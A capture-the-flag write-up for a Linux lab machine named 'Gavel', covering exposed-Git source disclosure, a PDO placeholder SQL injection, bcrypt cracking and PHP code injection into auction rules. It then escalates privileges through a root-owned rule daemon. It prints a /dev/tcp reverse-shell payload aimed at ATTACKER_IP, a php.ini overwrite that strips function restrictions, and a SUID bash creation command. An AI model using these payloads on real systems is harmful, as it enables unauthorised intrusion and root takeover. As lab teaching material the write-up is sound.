Difficulty: Medium
Operating System: Linux


Executive Summary

Gavel is a Linux machine that combines source code disclosure, application security flaws, and custom software analysis to achieve full system compromise.

The attack begins with an exposed Git repository, leading to source code disclosure and identification of a PDO placeholder confusion vulnerability. After obtaining administrative access to the web application, arbitrary PHP code execution is achieved through insecure runtime rule evaluation. Finally, a custom root-owned service is reversed and abused to gain root privileges.


Attack Path

Exposed Git Repository
    → Source Code Disclosure
    → PDO Placeholder Confusion SQLi
    → Credential Extraction
    → Admin Access
    → PHP Code Execution
    → Shell as www-data
    → User Access (auctioneer)
    → Custom Service Analysis
    → PHP Sandbox Abuse
    → Root

Reconnaissance

Port Scan

The initial scan revealed only two services:

rustscan -a $targetIp --ulimit 2000 -r 1-65535 -- -A -sS -Pn

Results:

22/tcp   OpenSSH 8.9p1
80/tcp   Apache 2.4.52

The web application immediately became the primary attack surface.


Web Enumeration

Directory enumeration identified several interesting endpoints:

dirsearch -u http://gavel.htb -x 404

Notable findings:

/.git/
/admin.php
/login.php
/register.php

The most important discovery was the exposed Git repository.


Initial Access

Git Repository Disclosure

The application exposed its entire Git repository through:

http://gavel.htb/.git/

The repository was recovered using:

git-dumper http://gavel.htb ./loot

Reviewing the source code provided complete visibility into:

  • Authentication logic
  • Database queries
  • Administrative functionality
  • Internal business rules

This became the turning point of the machine.


SQL Injection

Source Code Review

While reviewing the codebase, the following query stood out in inventory.php:

$sortItem = $_POST['sort'] ?? $_GET['sort'] ?? 'item_name';
$userId   = $_POST['user_id'] ?? $_GET['user_id'] ?? $_SESSION['user']['id'];

$col = "`" . str_replace("`", "", $sortItem) . "`";

$stmt = $pdo->prepare("
    SELECT $col
    FROM inventory
    WHERE user_id = ?
    ORDER BY item_name ASC
");
$stmt->execute([$userId]);

At first glance, the application appeared safe because it used prepared statements.

However, the combination of:

  • User-controlled column names
  • MySQL PDO emulated prepares
  • Placeholder confusion

introduced a SQL injection vulnerability.


Database Enumeration

After understanding the vulnerability, SQL injection was used to enumerate:

  • Tables
  • Columns
  • User credentials

Eventually, the following account was recovered:

auctioneer:$2y$10$MNkDHV6g16FjW/lAQRpLiuQXN4MVkdMuILn0pLQlC2So9SgH5RTfS

The hash was identified as bcrypt.


Password Cracking

The hash was cracked using Hashcat:

hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt

Recovered credentials:

auctioneer:midnight1

Remote Code Execution

Administrative Access

Using the recovered credentials, access to the administrative interface became possible.

The leaked source code revealed functionality allowing administrators to modify auction rules dynamically.


Dangerous Runtime Evaluation

The application stored auction rules in the database and later evaluated them through:

runkit_function_add(
    'ruleCheck',
    '$current_bid, $previous_bid, $bidder',
    $rule
);

The critical issue was that $rule originated from the database and was entirely attacker-controlled.

As a result, arbitrary PHP code could be injected directly into the function body.


Obtaining RCE

A malicious rule was inserted into an active auction:

system('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/60001 0>&1"');
return true;

A listener was started:

nc -lvnp 60001

Submitting a bid triggered the vulnerable code path and produced a reverse shell.

www-data@gavel

User Access

Credential Reuse

Reviewing local users revealed:

auctioneer:x:1001:1002::/home/auctioneer:/bin/bash

The previously recovered password was reused successfully:

su auctioneer

User access was obtained and the user flag could be recovered.


Stable Shell

SSH access was disabled for the account.

A TTY was spawned for stability:

python3 -c 'import pty; pty.spawn("/bin/bash")'

Privilege Escalation

Enumeration

System enumeration revealed membership in an additional group:

id

Output:

groups=1002(auctioneer),1001(gavel-seller)

Further investigation identified a custom binary:

/opt/gavel/gaveld
/usr/local/bin/gavel-util

The presence of custom software immediately suggested a manual review.


Understanding the Architecture

The application consisted of:

Client

gavel-util

Server

gaveld

Communication occurred through a Unix socket:

/var/run/gaveld.sock

The client submitted YAML files which were processed by the privileged daemon.


Reversing gaveld

Static analysis revealed that YAML rule content was embedded directly into dynamically generated PHP code.

The daemon effectively executed:

function __sandbox_eval() {
    $previous_bid = 150;
    $current_bid = 200;
    $bidder = 'Shadow21A';

    // attacker controlled rule
}

$res = __sandbox_eval();

The code executed as root.

Although a PHP configuration attempted to restrict dangerous functionality, the implementation remained vulnerable.


PHP Configuration Abuse

The daemon used:

/opt/gavel/.config/php/php.ini

The initial idea was to bypass restrictions through configuration overrides.

Although alternative configuration loading proved unsuccessful, the daemon still exposed a more direct path.


Writable Root Configuration

Because the attacker-controlled rule executed as root, it became possible to overwrite the daemon’s PHP configuration directly.

A malicious YAML rule was created:

file_put_contents(
    '/opt/gavel/.config/php/php.ini',
    "open_basedir=/\n" .
    "disable_functions=\n"
);
return false;

Submitted through:

gavel-util submit /tmp/hackini.yaml

This removed the security restrictions for future executions.


Root Shell

A second malicious rule was used to create a SUID root shell:

system('install -o root -m 4755 /bin/bash /home/auctioneer/bsh');
return false;

Submitted with:

gavel-util submit /tmp/root.yaml

Verification:

ls -la /home/auctioneer/bsh

Output:

-rwsr-xr-x root root

Launching the binary:

/home/auctioneer/bsh -p

Result:

root@gavel

Root access was obtained.


Lessons Learned

Exposed Git Repositories

A leaked repository frequently provides:

  • Source code
  • Internal documentation
  • Vulnerability discovery opportunities

Git exposure should always be treated as a critical finding.


Prepared Statements Are Not Magic

Using prepared statements incorrectly can still introduce SQL injection vulnerabilities.

Applications that mix:

  • User-controlled identifiers
  • Dynamic query construction
  • Emulated prepares

require additional scrutiny.


Runtime Code Evaluation

Dynamic execution features such as:

runkit_function_add()

can become catastrophic when supplied with attacker-controlled data.


Custom Software

When standard privilege escalation paths fail, custom applications often become the most valuable attack surface.

Reverse engineering frequently reveals assumptions and trust boundaries that developers overlooked.


Conclusion

Gavel is an excellent machine that rewards source code review and software analysis.

Rather than relying on a single vulnerability, the compromise requires chaining multiple weaknesses together:

  • Git repository disclosure
  • PDO placeholder confusion SQL injection
  • Administrative abuse
  • Arbitrary PHP execution
  • Custom daemon analysis
  • Root-owned PHP sandbox abuse

The machine is a strong example of how modern assessments increasingly depend on understanding application logic rather than relying exclusively on known CVEs.